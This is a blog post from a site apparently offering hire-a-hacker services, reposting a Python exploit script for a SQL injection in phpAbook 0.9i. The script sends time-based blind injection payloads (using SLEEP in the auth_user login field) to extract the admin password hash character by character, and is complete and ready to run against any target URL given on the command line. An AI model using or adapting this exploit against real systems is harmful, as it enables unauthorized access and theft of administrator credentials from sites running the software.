Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86375568

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: phpAbook 0.9i - SQL Injection
# Date: 2021-06-29
# Vendor Homepage: http://sourceforge.net/projects/phpabook/
# Exploit Author: Said Cortes, Alejandro Perez
# Version: v0.9i
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

import requests
import argparse
import string
import sys


def exploit(session,host):
    print("Starting Exploit\nSearching Admin Hash...")
    passwordhash = ''
    for i in range(1,33):
        charset = string.digits + string.ascii_lowercase
        for letter in charset:
            burp0_url = f"{host}/index.php"
            burp0_data = {"auth_user": f"admin'-IF((SELECT MID(password,{i},1) from ab_auth_user where uid=1)='{letter}',SLEEP(3),0)#", "auth_passwd": "admin", "lang": "en", "submit": "Login"}
            try:
                session.post(burp0_url, data=burp0_data, timeout=1)
            except requests.Timeout:
                passwordhash += letter
                continue
    print("admin:"+passwordhash)
        

                
    
if __name__ == "__main__" :
    session = requests.session()
    parser = argparse.ArgumentParser()
    parser.add_argument("-u","--url",help="host url \nex: http://127.0.0.1/phpabook",required=True)
    arg = parser.parse_args()
    exploit(session,arg.url)